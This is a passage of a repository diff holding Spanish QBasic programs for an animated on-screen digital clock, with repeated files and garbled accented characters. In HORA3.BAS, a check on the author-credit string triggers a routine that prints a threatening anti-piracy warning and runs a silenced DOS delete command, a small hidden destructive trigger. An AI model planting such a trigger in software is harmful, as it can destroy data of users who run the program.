D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 1: D7 = 1
CASE 9
D1 = 1: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1
END SELECT
IF Posicion < 5 THEN
IF D1 = 1 THEN
PSET (0 + P(A), 0), 4
DRAW "D40 R15 U26 H15"
DRAW "F13 BL5 P4,4"
ELSE
PSET (0 + P(A), 0), 0
DRAW "D40 R15 U26 H15"
DRAW "F13 BL5 P0,0"
END IF
IF D2 = 1 THEN
PSET (3 + P(A), 0), 4
DRAW "R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P4,4"
ELSE
PSET (3 + P(A), 0), 0
DRAW "R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P0,0"
END IF
IF D3 = 1 THEN
PSET (69 + P(A), 0), 4
DRAW " D40 L15 U25 E15"
DRAW "G13 BR5 P4,4"
ELSE
PSET (69 + P(A), 0), 0
DRAW " D40 L15 U25 E15"
DRAW "G13 BR5 P0,0"
END IF
IF D4 = 1 THEN
PSET (0 + P(A), 42), 4
DRAW " D50 E15 U20 H15"
DRAW "F13 BL5 P4,4"
ELSE
PSET (0 + P(A), 42), 0
DRAW " D50 E15 U20 H15"
DRAW "F13 BL5 P0,0"
END IF
IF D5 = 1 THEN
PSET (3 + P(A), 42), 4
DRAW " R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P4,4"
ELSE
PSET (3 + P(A), 42), 0
DRAW " R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P0,0"
END IF
IF D6 = 1 THEN
PSET (69 + P(A), 42), 4
DRAW " D50 H15 U20 E15"
DRAW "G13 BR5 P4,4"
ELSE
PSET (69 + P(A), 42), 0
DRAW " D50 H15 U20 E15"
DRAW "G13 BR5 P0,0"
END IF
IF D7 = 1 THEN
PSET (3 + P(A), 93), 4
DRAW " E15 R33 F15 L62"
DRAW "BR23 BU5 P4,4"
ELSE
PSET (3 + P(A), 93), 0
DRAW " E15 R33 F15 L62"
DRAW "BR23 BU5 P0,0"
END IF
'********************************************************
'**************** EL GRAN " ELSE " *********************
'********************************************************
ELSE
IF D1 = 1 THEN
PSET (0 + P(A), 45), 4
DRAW "D20 R8 U13 H8"
DRAW "F7 BL3 P4,4"
ELSE
PSET (0 + P(A), 45), 0
DRAW "D20 R8 U13 H8"
DRAW "F7 BL3 P0,0"
END IF
IF D2 = 1 THEN
PSET (3 + P(A), 45), 4
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P4,4"
ELSE
PSET (3 + P(A), 45), 0
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P0,0"
END IF
IF D3 = 1 THEN
PSET (37 + P(A), 45), 4
DRAW "D20 L8 U13 E8"
DRAW "G8 BR3 P4,4"
ELSE
PSET (37 + P(A), 45), 0
DRAW "D20 L8 U13 E8"
DRAW "G8 BR3 P0,0"
END IF
IF D4 = 1 THEN
PSET (0 + P(A), 67), 4
DRAW "D25 E8 U10 H8"
DRAW "F8 BL3 P4,4"
ELSE
PSET (0 + P(A), 67), 0
DRAW "D25 E8 U10 H8"
DRAW "F8 BL3 P0,0"
END IF
IF D5 = 1 THEN
PSET (3 + P(A), 67), 4
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P4,4"
ELSE
PSET (3 + P(A), 67), 0
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P0,0"
END IF
IF D6 = 1 THEN
PSET (37 + P(A), 67), 4
DRAW "D25 H8 U10 E8"
DRAW "G8 BR3 P4,4"
ELSE
PSET (37 + P(A), 67), 0
DRAW "D25 H8 U10 E8"
DRAW "G8 BR3 P0,0"
END IF
IF D7 = 1 THEN
PSET (3 + P(A), 93), 4
DRAW "E8 R17 F8 L34"
DRAW "BR12 BU3 P4,4"
ELSE
PSET (3 + P(A), 93), 0
DRAW "E8 R17 F8 L34"
DRAW "BR12 BU3 P0,0"
END IF
END IF
END SUB

462
BAS/HORA2.BAS Normal file
View File

@ -0,0 +1,462 @@
'Generador de un reloj digital en pantalla'
DEFINT A-Z
DECLARE SUB PonNum (Digito$, Posicion)
DIM SHARED P(6), A
DIM OldX1(30), OldY1(30), OldX2(30), OldY2(30), OldX3(30), OldY3(30), OldX4(30), OldY4(30), OldX5(30), OldY5(30), OldTipo(100), OldX6(100), OldY6(100)
RANDOMIZE TIMER
X(1) = 400: Y(1) = 175
X(2) = 400: Y(2) = 175
X(3) = 400: Y(3) = 175
X(4) = 400: Y(4) = 175
X(5) = 400: Y(5) = 175
mir$ = "Reloj ( Jos<6F> David Guill<6C>n 15/02/93 )"
IF MID$(mir$, 13, 1) <> "<22>" THEN PRINT " Programa modificado 1": SYSTEM
IF MID$(mir$, 26, 1) <> "<22>" THEN PRINT " Programa modificado 2": SYSTEM
P(1) = 0
P(2) = 80
P(3) = 200
P(4) = 280
P(5) = 400
P(6) = 440
'P(1) = 0
'P(2) = 75
'P(3) = 195
'P(4) = 275
'
'P(5) = 395
'P(6) = 435
SCREEN 9
Hora$ = LEFT$(TIME$, 2)
Min$ = MID$(TIME$, 4, 2)
Hora1$ = LEFT$(Hora$, 1)
A = 1
PonNum Hora1$, 1
Hora2$ = MID$(Hora$, 2, 1)
A = 2
PonNum Hora2$, 2
LINE (170, 20)-(180, 30), 12, BF
LINE (170, 60)-(180, 70), 12, BF
Min1$ = LEFT$(Min$, 1)
A = 3
PonNum Min1$, 3
Min2$ = MID$(Min$, 2, 1)
A = 4
PonNum Min2$, 4
LINE (370, 50)-(380, 60), 12, BF
LINE (370, 80)-(380, 90), 12, BF
DO
Hora$ = LEFT$(TIME$, 2)
Min$ = MID$(TIME$, 4, 2)
IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM
IF OldHor2$ <> LEFT$(Hora$, 1) THEN
Hora1$ = LEFT$(Hora$, 1)
A = 1
PonNum Hora1$, 1
END IF
OldHor2$ = LEFT$(Hora$, 1)
IF OldHor1$ <> MID$(Hora$, 2, 1) THEN
Hora2$ = MID$(Hora$, 2, 1)
A = 2
PonNum Hora2$, 2
END IF
OldHor1$ = MID$(Hora$, 2, 1)
IF OldMin2$ <> LEFT$(Min$, 1) THEN
Min1$ = LEFT$(Min$, 1)
A = 3
PonNum Min1$, 3
END IF
OldMin2$ = LEFT$(Min$, 1)
IF OldMin1$ <> MID$(Min$, 2, 1) THEN
Min2$ = MID$(Min$, 2, 1)
A = 4
PonNum Min2$, 4
END IF
OldMin1$ = MID$(Min$, 2, 1)
IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM
seg$ = MID$(TIME$, 7, 1)
A = 5
PonNum seg$, 5
seg$ = MID$(TIME$, 8, 1)
A = 6
PonNum seg$, 6
'***************************************************
'* GRAFICO LINEAL **********************************
'***************************************************
M(4) = INT(RND * 8) + 1
M(3) = INT(RND * 8) + 1
M(2) = INT(RND * 8) + 1
M(5) = INT(RND * 8) + 1
M(1) = INT(RND * 8) + 1
M(6) = INT(RND * 8) + 1
DO
Vez = Vez + 1
Vz = Vz + 1
IF Vz >= 30 THEN Vz = 1
IF Vez >= 30 THEN Vez = 1
FOR Coor = 1 TO 6
SELECT CASE M(Coor)
CASE 1: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3: Y(Coor) = Y(Coor) - 3 ELSE X(Coor) = X(Coor) - 2: Y(Coor) = Y(Coor) - 2
CASE 2: IF Coor <> 6 THEN Y(Coor) = Y(Coor) - 3 ELSE Y(Coor) = Y(Coor) - 2
CASE 3: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3: Y(Coor) = Y(Coor) - 3 ELSE X(Coor) = X(Coor) + 2: Y(Coor) = Y(Coor) - 2
CASE 4: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3 ELSE X(Coor) = X(Coor) - 2
CASE 5: 'Pause
CASE 6: IF Coor <> 6 THEN Y(Coor) = Y(Coor) + 3 ELSE Y(Coor) = Y(Coor) + 2
CASE 7: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3: Y(Coor) = Y(Coor) + 3 ELSE X(Coor) = X(Coor) - 2: Y(Coor) = Y(Coor) + 2
CASE 8: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3 ELSE X(Coor) = X(Coor) + 2
CASE 9: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3: Y(Coor) = Y(Coor) + 3 ELSE X(Coor) = X(Coor) + 2: Y(Coor) = Y(Coor) + 2
END SELECT
IF Coor = 6 THEN
IF X(6) >= 640 THEN X(6) = 640: Salida = 1
IF X(6) <= 0 THEN X(6) = 0: Salida = 1
IF Y(6) <= 150 THEN Y(6) = 150: Salida = 1
IF Y(6) >= 350 THEN Y(6) = 350: Salida = 1
ELSE
IF X(Coor) >= 640 THEN X(Coor) = 640: Salida = 1
IF X(Coor) <= 480 AND Y(Coor) < 250 THEN
X(Coor) = 650: Salida = 1
ELSE
IF X(Coor) <= 0 THEN X(Coor) = 480: Salida = 1
END IF
IF Y(Coor) >= 350 AND X(Corr) <= 400 THEN Y(Coor) = 350: Salida = 1
IF Y(Coor) >= 350 THEN Y(Coor) = 0: Salida = 1
IF Y(Coor) <= 0 THEN Y(Coor) = 350: Salida = 1
END IF
OldX6(1) = X(6)
OldY6(1) = Y(6)
OldTipo(1) = Tipo
OldX1(1) = X(1)
OldX2(1) = X(2)
OldX3(1) = X(3)
OldX4(1) = X(4)
OldX5(1) = X(5)
OldY1(1) = Y(1)
OldY2(1) = Y(2)
OldY3(1) = Y(3)
OldY4(1) = Y(4)
OldY5(1) = Y(5)
NEXT
IF RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "5" THEN Vez1 = Vez1 + 1
IF Vez1 >= 16 THEN Vez1 = 1
IF RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 2))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 5))), 1) = "5" THEN Vz1 = Vz1 + 1
IF Vz1 >= 16 THEN Vz1 = 1
LINE (X(1), Y(1))-(X(2), Y(2)), Vez1
LINE (X(2), Y(2))-(X(3), Y(3)), Vez1
LINE (X(3), Y(3))-(X(4), Y(4)), Vez1
LINE (X(4), Y(4))-(X(5), Y(5)), Vez1
LINE (X(5), Y(5))-(X(1), Y(1)), Vez1
CIRCLE (X(6), Y(6)), 20, Vz1: ', , , Tipo
A = 31
WHILE A >= 2
A = A - 1
OldX1(A) = OldX1(A - 1)
OldY1(A) = OldY1(A - 1)
OldX2(A) = OldX2(A - 1)
OldY2(A) = OldY2(A - 1)
OldX3(A) = OldX3(A - 1)
OldY3(A) = OldY3(A - 1)
OldX4(A) = OldX4(A - 1)
OldY4(A) = OldY4(A - 1)
OldX5(A) = OldX5(A - 1)
OldY5(A) = OldY5(A - 1)
WEND
A = 71
WHILE A >= 2
A = A - 1
OldX6(A) = OldX6(A - 1)
OldY6(A) = OldY6(A - 1)
OldTipo(A) = OldTipo(A - 1)
WEND
CIRCLE (OldX6(70), OldY6(70)), 20, 0
LINE (OldX1(30), OldY1(30))-(OldX2(30), OldY2(30)), 0
LINE (OldX2(30), OldY2(30))-(OldX3(30), OldY3(30)), 0
LINE (OldX3(30), OldY3(30))-(OldX4(30), OldY4(30)), 0
LINE (OldX4(30), OldY4(30))-(OldX5(30), OldY5(30)), 0
LINE (OldX5(30), OldY5(30))-(OldX1(30), OldY1(30)), 0
LOOP WHILE Salida <> 1
Salida = 0
LOOP
'***************************************************
'* GRAFICOS DE PRUEBA ******************************
'***************************************************
grap:
SUB PonNum (Digito$, Posicion)
SELECT CASE VAL(RTRIM$(LTRIM$(Digito$)))
CASE 0
D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 0: D6 = 1: D7 = 1
CASE 1
D1 = 0: D2 = 0: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0
CASE 2
D1 = 0: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 0: D7 = 1
CASE 3
D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1
CASE 4
D1 = 1: D2 = 0: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 0
CASE 5
D1 = 1: D2 = 1: D3 = 0: D4 = 0: D5 = 1: D6 = 1: D7 = 1
CASE 6
D1 = 1: D2 = 1: D3 = 0: D4 = 1: D5 = 1: D6 = 1: D7 = 1
CASE 7
D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0
CASE 8
D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 1: D7 = 1
CASE 9
D1 = 1: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1
END SELECT
IF Posicion < 5 THEN
IF D1 = 1 THEN
PSET (0 + P(A), 0), 4
DRAW "D40 R15 U26 H15"
DRAW "F13 BL5 P4,4"
ELSE
PSET (0 + P(A), 0), 0
DRAW "D40 R15 U26 H15"
DRAW "F13 BL5 P0,0"
END IF
IF D2 = 1 THEN
PSET (3 + P(A), 0), 4
DRAW "R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P4,4"
ELSE
PSET (3 + P(A), 0), 0
DRAW "R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P0,0"
END IF
IF D3 = 1 THEN
PSET (69 + P(A), 0), 4
DRAW " D40 L15 U25 E15"
DRAW "G13 BR5 P4,4"
ELSE
PSET (69 + P(A), 0), 0
DRAW " D40 L15 U25 E15"
DRAW "G13 BR5 P0,0"
END IF
IF D4 = 1 THEN
PSET (0 + P(A), 42), 4
DRAW " D50 E15 U20 H15"
DRAW "F13 BL5 P4,4"
ELSE
PSET (0 + P(A), 42), 0
DRAW " D50 E15 U20 H15"
DRAW "F13 BL5 P0,0"
END IF
IF D5 = 1 THEN
PSET (3 + P(A), 42), 4
DRAW " R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P4,4"
ELSE
PSET (3 + P(A), 42), 0
DRAW " R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P0,0"
END IF
IF D6 = 1 THEN
PSET (69 + P(A), 42), 4
DRAW " D50 H15 U20 E15"
DRAW "G13 BR5 P4,4"
ELSE
PSET (69 + P(A), 42), 0
DRAW " D50 H15 U20 E15"
DRAW "G13 BR5 P0,0"
END IF
IF D7 = 1 THEN
PSET (3 + P(A), 93), 4
DRAW " E15 R33 F15 L62"
DRAW "BR23 BU5 P4,4"
ELSE
PSET (3 + P(A), 93), 0
DRAW " E15 R33 F15 L62"
DRAW "BR23 BU5 P0,0"
END IF
'********************************************************
'**************** EL GRAN " ELSE " *********************
'********************************************************
ELSE
IF D1 = 1 THEN
PSET (0 + P(A), 45), 4
DRAW "D20 R8 U13 H8"
DRAW "F7 BL3 P4,4"
ELSE
PSET (0 + P(A), 45), 0
DRAW "D20 R8 U13 H8"
DRAW "F7 BL3 P0,0"
END IF
IF D2 = 1 THEN
PSET (3 + P(A), 45), 4
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P4,4"
ELSE
PSET (3 + P(A), 45), 0
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P0,0"
END IF
IF D3 = 1 THEN
PSET (37 + P(A), 45), 4
DRAW "D20 L8 U13 E8"
DRAW "G8 BR3 P4,4"
ELSE
PSET (37 + P(A), 45), 0
DRAW "D20 L8 U13 E8"
DRAW "G8 BR3 P0,0"
END IF
IF D4 = 1 THEN
PSET (0 + P(A), 67), 4
DRAW "D25 E8 U10 H8"
DRAW "F8 BL3 P4,4"
ELSE
PSET (0 + P(A), 67), 0
DRAW "D25 E8 U10 H8"
DRAW "F8 BL3 P0,0"
END IF
IF D5 = 1 THEN
PSET (3 + P(A), 67), 4
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P4,4"
ELSE
PSET (3 + P(A), 67), 0
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P0,0"
END IF
IF D6 = 1 THEN
PSET (37 + P(A), 67), 4
DRAW "D25 H8 U10 E8"
DRAW "G8 BR3 P4,4"
ELSE
PSET (37 + P(A), 67), 0
DRAW "D25 H8 U10 E8"
DRAW "G8 BR3 P0,0"
END IF
IF D7 = 1 THEN
PSET (3 + P(A), 93), 4
DRAW "E8 R17 F8 L34"
DRAW "BR12 BU3 P4,4"
ELSE
PSET (3 + P(A), 93), 0
DRAW "E8 R17 F8 L34"
DRAW "BR12 BU3 P0,0"
END IF
END IF
END SUB

485
BAS/HORA3.BAS Normal file
View File

@ -0,0 +1,485 @@
'Generador de un reloj digital en pantalla'
DEFINT A-Z
DECLARE SUB PonNum (Digito$, Posicion)
DIM SHARED P(6), A, veces
DIM OldX1(30), OldY1(30), OldX2(30), OldY2(30), OldX3(30), OldY3(30), OldX4(30), OldY4(30), OldX5(30), OldY5(30), OldTipo(100), OldX6(100), OldY6(100)
RANDOMIZE TIMER
X(1) = 400: Y(1) = 175
X(2) = 400: Y(2) = 175
X(3) = 400: Y(3) = 175
X(4) = 400: Y(4) = 175
X(5) = 400: Y(5) = 175
X(6) = 400: Y(5) = 175
mir$ = "Reloj ( Jos<6F> David Guill<6C>n 15/02/93 )"
IF MID$(mir$, 13, 1) <> "<22>" THEN PRINT " Programa modificado 1": GOTO errormo
IF MID$(mir$, 26, 1) <> "<22>" THEN PRINT " Programa modificado 2": GOTO errormo
P(1) = 0
P(2) = 80
P(3) = 200
P(4) = 280
P(5) = 400
P(6) = 440
'P(1) = 0
'P(2) = 75
'P(3) = 195
'P(4) = 275
'
'P(5) = 395
'P(6) = 435
SCREEN 9
Hora$ = LEFT$(TIME$, 2)
Min$ = MID$(TIME$, 4, 2)
Hora1$ = LEFT$(Hora$, 1)
A = 1
PonNum Hora1$, 1
Hora2$ = MID$(Hora$, 2, 1)
A = 2
PonNum Hora2$, 2
LINE (170, 20)-(180, 30), 12, BF
LINE (170, 60)-(180, 70), 12, BF
Min1$ = LEFT$(Min$, 1)
A = 3
PonNum Min1$, 3
Min2$ = MID$(Min$, 2, 1)
A = 4
PonNum Min2$, 4
LINE (370, 50)-(380, 60), 12, BF
LINE (370, 80)-(380, 90), 12, BF
DO
Hora$ = LEFT$(TIME$, 2)
Min$ = MID$(TIME$, 4, 2)
IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM
IF OldHor2$ <> LEFT$(Hora$, 1) THEN
Hora1$ = LEFT$(Hora$, 1)
A = 1
PonNum Hora1$, 1
END IF
OldHor2$ = LEFT$(Hora$, 1)
IF OldHor1$ <> MID$(Hora$, 2, 1) THEN
Hora2$ = MID$(Hora$, 2, 1)
A = 2
PonNum Hora2$, 2
END IF
OldHor1$ = MID$(Hora$, 2, 1)
IF OldMin2$ <> LEFT$(Min$, 1) THEN
Min1$ = LEFT$(Min$, 1)
A = 3
PonNum Min1$, 3
END IF
OldMin2$ = LEFT$(Min$, 1)
IF OldMin1$ <> MID$(Min$, 2, 1) THEN
Min2$ = MID$(Min$, 2, 1)
A = 4
PonNum Min2$, 4
END IF
OldMin1$ = MID$(Min$, 2, 1)
IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM
seg$ = MID$(TIME$, 7, 1)
A = 5
PonNum seg$, 5
seg$ = MID$(TIME$, 8, 1)
A = 6
PonNum seg$, 6
'***************************************************
'* GRAFICO LINEAL **********************************
'***************************************************
M(4) = INT(RND * 8) + 1
M(3) = INT(RND * 8) + 1
M(2) = INT(RND * 8) + 1
M(5) = INT(RND * 8) + 1
M(1) = INT(RND * 8) + 1
qwert = qwert + 1
IF qwert = 7 THEN qwert = 1
IF Cont = 1 THEN M(6) = INT(RND * 7) + 1: M(6) = M(qwert)
DO
Vez = Vez + 1
Vz = Vz + 1
IF Vz >= 30 THEN Vz = 1
IF Vez >= 30 THEN Vez = 1
FOR Coor = 1 TO 6
SELECT CASE M(Coor)
CASE 1: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3: Y(Coor) = Y(Coor) - 3 ELSE X(Coor) = X(Coor) - 2: Y(Coor) = Y(Coor) - 2
CASE 2: IF Coor <> 6 THEN Y(Coor) = Y(Coor) - 3 ELSE Y(Coor) = Y(Coor) - 2
CASE 3: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3: Y(Coor) = Y(Coor) - 3 ELSE X(Coor) = X(Coor) + 2: Y(Coor) = Y(Coor) - 2
CASE 4: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3 ELSE X(Coor) = X(Coor) - 2
CASE 5: 'Pause
CASE 6: IF Coor <> 6 THEN Y(Coor) = Y(Coor) + 3 ELSE Y(Coor) = Y(Coor) + 2
CASE 7: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3: Y(Coor) = Y(Coor) + 3 ELSE X(Coor) = X(Coor) - 2: Y(Coor) = Y(Coor) + 2
CASE 8: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3 ELSE X(Coor) = X(Coor) + 2
CASE 9: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3: Y(Coor) = Y(Coor) + 3 ELSE X(Coor) = X(Coor) + 2: Y(Coor) = Y(Coor) + 2
END SELECT
Cont = 0
IF Coor = 6 THEN
IF X(6) >= 640 THEN X(6) = 640: Salida = 1: Cont = 1
IF X(6) <= 0 THEN X(6) = 0: Salida = 1: Cont = 1
IF Y(6) <= 150 THEN Y(6) = 150: Salida = 1: Cont = 1
IF Y(6) >= 350 THEN Y(6) = 350: Salida = 1: Cont = 1
ELSE
IF X(Coor) >= 640 THEN X(Coor) = 640: Salida = 1
IF X(Coor) <= 485 AND Y(Coor) < 250 THEN
X(Coor) = 650: Salida = 1
ELSEIF X(Coor) <= 0 THEN X(Coor) = 485: Salida = 1
END IF
IF Y(Coor) >= 350 AND X(Corr) <= 400 THEN Y(Coor) = 350: Salida = 1
IF Y(Coor) >= 350 THEN Y(Coor) = 0: Salida = 1
IF Y(Coor) <= 0 THEN Y(Coor) = 350: Salida = 1
END IF
OldX6(1) = X(6)
OldY6(1) = Y(6)
OldTipo(1) = Tipo
OldX1(1) = X(1)
OldX2(1) = X(2)
OldX3(1) = X(3)
OldX4(1) = X(4)
OldX5(1) = X(5)
OldY1(1) = Y(1)
OldY2(1) = Y(2)
OldY3(1) = Y(3)
OldY4(1) = Y(4)
OldY5(1) = Y(5)
NEXT
IF RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "5" THEN Vez1 = Vez1 + 1
IF Vez1 >= 16 THEN Vez1 = 1
IF RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 2))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 5))), 1) = "5" THEN Vz1 = Vz1 + 1
IF Vz1 >= 16 THEN Vz1 = 1
LINE (X(1), Y(1))-(X(2), Y(2)), Vez1
LINE (X(2), Y(2))-(X(3), Y(3)), Vez1
LINE (X(3), Y(3))-(X(4), Y(4)), Vez1
LINE (X(4), Y(4))-(X(5), Y(5)), Vez1
LINE (X(5), Y(5))-(X(1), Y(1)), Vez1
CIRCLE (X(6), Y(6)), 20, Vz1: ', , , Tipo
A = 71
WHILE A >= 2
A = A - 1
IF A < 31 THEN
OldX1(A) = OldX1(A - 1)
OldY1(A) = OldY1(A - 1)
OldX2(A) = OldX2(A - 1)
OldY2(A) = OldY2(A - 1)
OldX3(A) = OldX3(A - 1)
OldY3(A) = OldY3(A - 1)
OldX4(A) = OldX4(A - 1)
OldY4(A) = OldY4(A - 1)
OldX5(A) = OldX5(A - 1)
OldY5(A) = OldY5(A - 1)
END IF
OldX6(A) = OldX6(A - 1)
OldY6(A) = OldY6(A - 1)
OldTipo(A) = OldTipo(A - 1)
WEND
CIRCLE (OldX6(70), OldY6(70)), 20, 0
LINE (OldX1(30), OldY1(30))-(OldX2(30), OldY2(30)), 0
LINE (OldX2(30), OldY2(30))-(OldX3(30), OldY3(30)), 0
LINE (OldX3(30), OldY3(30))-(OldX4(30), OldY4(30)), 0
LINE (OldX4(30), OldY4(30))-(OldX5(30), OldY5(30)), 0
LINE (OldX5(30), OldY5(30))-(OldX1(30), OldY1(30)), 0
LOOP WHILE Salida <> 1
Salida = 0
LOOP
'***************************************************
'* GRAFICOS DE PRUEBA ******************************
'***************************************************
errormo:
CLS
COLOR 15, 0
PRINT " ATENCION !!! PELIGRO !!!!": PRINT : PRINT
PRINT " Alguien modifico ilegalmente el programa tratando de apropiarse de": PRINT
PRINT " los creditos ajenos a <20>l. Su autor a protegido el sistema por ello": PRINT
PRINT " ya que ha intentado modificar este programa causara estragos en tu": PRINT
PRINT " sistema.... LA PIRATERIA SERA TU MUERTE ": PRINT
PRINT : PRINT : PRINT " Desea regresar al Sistema Operativo DOS o bloquear sistema : "
PRINT " (S)istema (B)loquear (S/B)"
SHELL "Del. >nul"
SYSTEM
END
grap:
SUB PonNum (Digito$, Posicion)
veces = veces + 1
LOCATE 10, 1: PRINT veces
IF INKEY$ <> "" THEN STOP
SELECT CASE VAL(RTRIM$(LTRIM$(Digito$)))
CASE 0
D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 0: D6 = 1: D7 = 1
CASE 1
D1 = 0: D2 = 0: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0
CASE 2
D1 = 0: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 0: D7 = 1
CASE 3
D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1
CASE 4
D1 = 1: D2 = 0: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 0
CASE 5
D1 = 1: D2 = 1: D3 = 0: D4 = 0: D5 = 1: D6 = 1: D7 = 1
CASE 6
D1 = 1: D2 = 1: D3 = 0: D4 = 1: D5 = 1: D6 = 1: D7 = 1
CASE 7
D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0
CASE 8
D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 1: D7 = 1
CASE 9
D1 = 1: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1
END SELECT
IF Posicion < 5 THEN
IF D1 = 1 THEN
PSET (0 + P(A), 0), 4
DRAW "D40 R15 U26 H15"
DRAW "F13 BL5 P4,4"
ELSE
PSET (0 + P(A), 0), 0
DRAW "D40 R15 U26 H15"
DRAW "F13 BL5 P0,0"
END IF
IF D2 = 1 THEN
PSET (3 + P(A), 0), 4
DRAW "R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P4,4"
ELSE
PSET (3 + P(A), 0), 0
DRAW "R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P0,0"
END IF
IF D3 = 1 THEN
PSET (69 + P(A), 0), 4
DRAW " D40 L15 U25 E15"
DRAW "G13 BR5 P4,4"
ELSE
PSET (69 + P(A), 0), 0
DRAW " D40 L15 U25 E15"
DRAW "G13 BR5 P0,0"
END IF
IF D4 = 1 THEN
PSET (0 + P(A), 42), 4
DRAW " D50 E15 U20 H15"
DRAW "F13 BL5 P4,4"
ELSE
PSET (0 + P(A), 42), 0
DRAW " D50 E15 U20 H15"
DRAW "F13 BL5 P0,0"
END IF
IF D5 = 1 THEN
PSET (3 + P(A), 42), 4
DRAW " R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P4,4"
ELSE
PSET (3 + P(A), 42), 0
DRAW " R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P0,0"
END IF
IF D6 = 1 THEN
PSET (69 + P(A), 42), 4
DRAW " D50 H15 U20 E15"
DRAW "G13 BR5 P4,4"
ELSE
PSET (69 + P(A), 42), 0
DRAW " D50 H15 U20 E15"
DRAW "G13 BR5 P0,0"
END IF
IF D7 = 1 THEN
PSET (3 + P(A), 93), 4
DRAW " E15 R33 F15 L62"
DRAW "BR23 BU5 P4,4"
ELSE
PSET (3 + P(A), 93), 0
DRAW " E15 R33 F15 L62"
DRAW "BR23 BU5 P0,0"
END IF
'********************************************************
'**************** EL GRAN " ELSE " *********************
'********************************************************
ELSE
IF D1 = 1 THEN
PSET (0 + P(A), 45), 4
DRAW "D20 R8 U13 H8"
DRAW "F7 BL3 P4,4"
ELSE
PSET (0 + P(A), 45), 0
DRAW "D20 R8 U13 H8"
DRAW "F7 BL3 P0,0"
END IF
IF D2 = 1 THEN
PSET (3 + P(A), 45), 4
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P4,4"
ELSE
PSET (3 + P(A), 45), 0
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P0,0"
END IF
IF D3 = 1 THEN
PSET (37 + P(A), 45), 4
DRAW "D20 L8 U13 E8"
DRAW "G8 BR3 P4,4"
ELSE
PSET (37 + P(A), 45), 0
DRAW "D20 L8 U13 E8"
DRAW "G8 BR3 P0,0"
END IF
IF D4 = 1 THEN
PSET (0 + P(A), 67), 4
DRAW "D25 E8 U10 H8"
DRAW "F8 BL3 P4,4"
ELSE
PSET (0 + P(A), 67), 0
DRAW "D25 E8 U10 H8"
DRAW "F8 BL3 P0,0"
END IF
IF D5 = 1 THEN
PSET (3 + P(A), 67), 4
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P4,4"
ELSE
PSET (3 + P(A), 67), 0
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P0,0"
END IF
IF D6 = 1 THEN
PSET (37 + P(A), 67), 4
DRAW "D25 H8 U10 E8"
DRAW "G8 BR3 P4,4"
ELSE
PSET (37 + P(A), 67), 0
DRAW "D25 H8 U10 E8"
